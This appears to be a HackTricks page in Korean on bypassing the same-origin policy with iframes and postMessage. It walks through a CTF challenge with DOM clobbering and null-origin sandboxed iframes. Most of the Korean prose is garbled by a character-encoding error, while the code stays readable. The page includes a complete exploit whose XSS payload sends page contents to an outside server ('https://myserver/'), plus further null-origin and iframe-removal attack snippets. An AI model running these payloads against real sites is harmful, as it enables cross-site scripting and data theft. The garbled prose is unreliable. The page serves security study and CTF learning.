Iframes๋ฅผ ์ด์ฉํ SOP ์ฐํ - 2
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
SOP-2์ Iframes
์ด challenge์ solution์์, @Strellic_๋ ์ด์ ์น์ ๊ณผ ์ ์ฌํ ๋ฐฉ๋ฒ์ ์ ์ํฉ๋๋ค. ์ดํด๋ณด๊ฒ ์ต๋๋ค.
์ด ์ฑ๋ฆฐ์ง์์ ๊ณต๊ฒฉ์๋ ๋ค์์ bypass ํด์ผ ํฉ๋๋ค:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
๊ทธ๋ ๊ฒ ํ๋ฉด, ๊ทธ๋ postmessage๋ก HTML ์ฝํ
์ธ ๋ฅผ ๋ณด๋ผ ์ ์๊ณ ๊ทธ ๋ด์ฉ์ ํ์ด์ง์ **innerHTML**๋ก ์ ํ ์์ด ๊ธฐ๋ก๋์ด (XSS) ๋ฐ์ํ ์ ์์ต๋๋ค.
์ฒซ ๋ฒ์งธ ๊ฒ์ฌ๋ **window.calc.contentWindow**๋ฅผ **undefined**๋ก ๋ง๋ค๊ณ **e.source**๋ฅผ **null**๋ก ๋ง๋ค์ด ์ฐํํ ์ ์์ต๋๋ค:
- **
window.calc.contentWindow**๋ ์ค์ ๋ก **document.getElementById("calc")**์ ๋๋ค. **document.getElementById**๋ฅผ **<img name=getElementById />**๋ก clobberํ ์ ์์ต๋๋ค (๊ธฐ๋ณธ ์ํ์์๋ Sanitizer API -here-๊ฐ DOM clobbering ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ๋ณดํธํ๋๋ก ๊ตฌ์ฑ๋์ด ์์ง ์๋ค๋ ์ ์ ์ ์ํ์ธ์). - ๋ฐ๋ผ์, **
document.getElementById("calc")**๋ฅผ **<img name=getElementById /><div id=calc></div>**๋ก clobberํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ฉด, **window.calc**๋ **undefined**๊ฐ ๋ฉ๋๋ค. - ์ด์ **
e.source**๋ฅผ **undefined**๋ **null**๋ก ๋ง๋ค์ด์ผ ํฉ๋๋ค (==๊ฐ===๋์ ์ฌ์ฉ๋์๊ธฐ ๋๋ฌธ์, **null == undefined**๋ **True**์ ๋๋ค). ์ด๊ฒ์ ์ป๋ ๊ฒ์ โ์ฌ์ดโ ํธ์ ๋๋ค. ๋ง์ฝ iframe์ ์์ฑํ๊ณ ๊ทธ ์์์ postMessage๋ฅผ sendํ ๋ค ์ฆ์ ๊ทธ iframe์ removeํ๋ฉด, **e.origin**์ **null**์ด ๋ฉ๋๋ค. ๋ค์ ์ฝ๋๋ฅผ ํ์ธํ์ธ์
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
token์ ๊ดํ second check๋ฅผ ์ฐํํ๋ ค๋ฉด **token**์ ๊ฐ null๋ก ์ ์กํ๊ณ window.token ๊ฐ์ **undefined**๋ก ๋ง๋ค๋ฉด ๋ฉ๋๋ค:
- postMessage๋ก
token์ ๊ฐnull๋ก ์ ์กํ๋ ๊ฒ์ ๊ฐ๋จํฉ๋๋ค. - **
window.token**์ **document.cookie**๋ฅผ ์ฌ์ฉํ๋getCookieํจ์๋ฅผ ํธ์ถํ ๋ ๊ฒฐ์ ๋ฉ๋๋ค.nullorigin ํ์ด์ง์์ **document.cookie**์ ์ ๊ทผํ๋ฉด ์ค๋ฅ๊ฐ ๋ฐ์ํฉ๋๋ค. ์ด๋ก ์ธํด **window.token**์undefined๊ฐ์ ๊ฐ๊ฒ ๋ฉ๋๋ค.
์ต์ข ์๋ฃจ์ ์ @terjanq์ด ์ ์ํ following:
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)
์ต๊ทผ TryHackMe ๊ณผ์ (โVulnerable Codesโ)๋ opener๊ฐ scripts์ popups๋ง ํ์ฉํ๋ sandboxed iframe ๋ด๋ถ์ ์์ ๋ OAuth ํ์
์ด ์ด๋ป๊ฒ ํ์ทจ๋ ์ ์๋์ง๋ฅผ ๋ณด์ฌ์ค๋ค. ํด๋น iframe์ ์์ ๊ณผ ํ์
๋ ๋ค๋ฅผ "null" origin์ผ๋ก ๊ฐ์ ํ๋ฏ๋ก, ํธ๋ค๋ฌ์์ if (origin !== window.origin) return์ฒ๋ผ ๊ฒ์ฌํ๋ฉด ํ์
๋ด๋ถ์ window.origin ๋ํ "null"์ด๊ธฐ ๋๋ฌธ์ ์กฐ์ฉํ ์คํจํ๋ค. ๋น๋ก ๋ธ๋ผ์ฐ์ ๊ฐ ์ค์ location.origin์ ์ฌ์ ํ ๋
ธ์ถํ์ง๋ง, ํผํด์๋ ์ด๋ฅผ ๊ฒ์ฌํ์ง ์์ผ๋ฏ๋ก ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋ฉ์์ง๊ฐ ๊ทธ๋๋ก ํต๊ณผํ๋ค.
const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);
ํด๋น ์ค์ ์ ์ ์ฉํ๊ธฐ ์ํ ์์ :
- ํ์
๋ด๋ถ์์
origin์window.origin๊ณผ ๋น๊ตํ๋ ํธ๋ค๋ฌ๋ ๋ ๋ค"null"๋ก ํ๊ฐ๋๊ธฐ ๋๋ฌธ์ ์ฐํํ ์ ์์ด, ์์กฐ๋ ๋ฉ์์ง๊ฐ ์ ๋นํ๊ฒ ๋ณด์ธ๋ค. allow-popups๋ ํ์ฉํ์ง๋งallow-same-origin์ ์๋ตํ sandboxed iframe์ ์ฌ์ ํ ๊ณต๊ฒฉ์ ์ ์ด์ null origin์ ๊ณ ์ ๋ ํ์ ์ ์์ฑํ๋ฏ๋ก, 2025๋ Chromium ๋น๋์์๋ ์์ ์ ์ธ ๊ฒฉ๋ฆฌ ์์ญ์ ์ ๊ณตํ๋ค.
Source-nullification & frame-restriction bypasses
Industry writeups around CVE-2024-49038 highlight two reusable primitives for this page: (1) X-Frame-Options: DENY๋ฅผ ์ค์ ํ ํ์ด์ง๋ window.open์ผ๋ก ์ด๊ณ ๋ค๋น๊ฒ์ด์
์ด ์๋ฃ๋ ํ ๋ฉ์์ง๋ฅผ ์ ์กํ๋ฉด ์ฌ์ ํ ์ํธ์์ฉํ ์ ์๊ณ , (2) ๋ฉ์์ง๋ฅผ ๋ณด๋ธ ์งํ iframe์ ์ ๊ฑฐํด ์์ ์ธก ํธ๋ค๋ฌ๊ฐ null๋ง ๋ณด๋๋ก ๋ง๋ค์ด event.source == victimFrame ๊ฒ์ฌ๋ฅผ ๋ฌด์ฐจ๋ณ๋ก ์ฐํํ ์ ์๋ค.
const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);
์์ DOM-clobbering ํธ๋ฆญ๊ณผ ๊ฒฐํฉํด ๋ณด์ธ์: ์์ ์๊ฐ event.source === null๋ง ๋ณด๊ฒ ๋๋ฉด, window.calc.contentWindow ๊ฐ์ ๊ฒ๊ณผ์ ๋น๊ต๋ ๋ชจ๋ ๋ฌด๋์ง๋ฉฐ, ๋ค์ innerHTML์ ํตํด ์
์ฑ HTML sinks๋ฅผ ์ฃผ์
ํ ์ ์๊ฒ ๋ฉ๋๋ค.
References
- PostMessage Vulnerabilities: When Cross-Window Communication Goes Wrong
- THM Write-up: Vulnerable Codes
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


